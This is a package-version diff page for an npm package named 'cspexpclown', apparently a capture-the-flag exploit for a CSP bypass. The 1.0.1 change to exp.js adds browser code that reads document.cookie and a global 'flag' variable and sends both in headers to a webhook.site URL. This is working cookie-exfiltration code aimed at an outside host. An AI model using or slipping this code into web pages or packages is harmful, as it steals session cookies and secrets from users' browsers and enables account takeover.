cspexpclown 1.0.0 → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/exp.js +11 -1
  2. package/package.json +1 -1
package/exp.js CHANGED
@@ -2,9 +2,19 @@
2
2
  const domain = "https://webhook.site/78bd37ea-0ee3-4993-8b97-b607846ab241"; // 指定域名
3
3
 
4
4
  try {
5
- // 发送GET请求并带上Cookie
5
+ // 获取当前页面的Cookie
6
+ const cookies = document.cookie;
7
+
8
+ // 获取全局变量 flag
9
+ const flag = window.flag;
10
+
11
+ // 发送GET请求并带上Cookie和flag
6
12
  const res = await fetch(`${domain}`, {
7
13
  method: "GET",
14
+ headers: {
15
+ "Cookie": cookies,
16
+ "X-Flag": flag // 将 flag 添加到请求头中
17
+ },
8
18
  credentials: 'include' // 带上Cookie
9
19
  });
10
20
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cspexpclown",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "csp",
5
5
  "main": "index.js",
6
6
  "scripts": {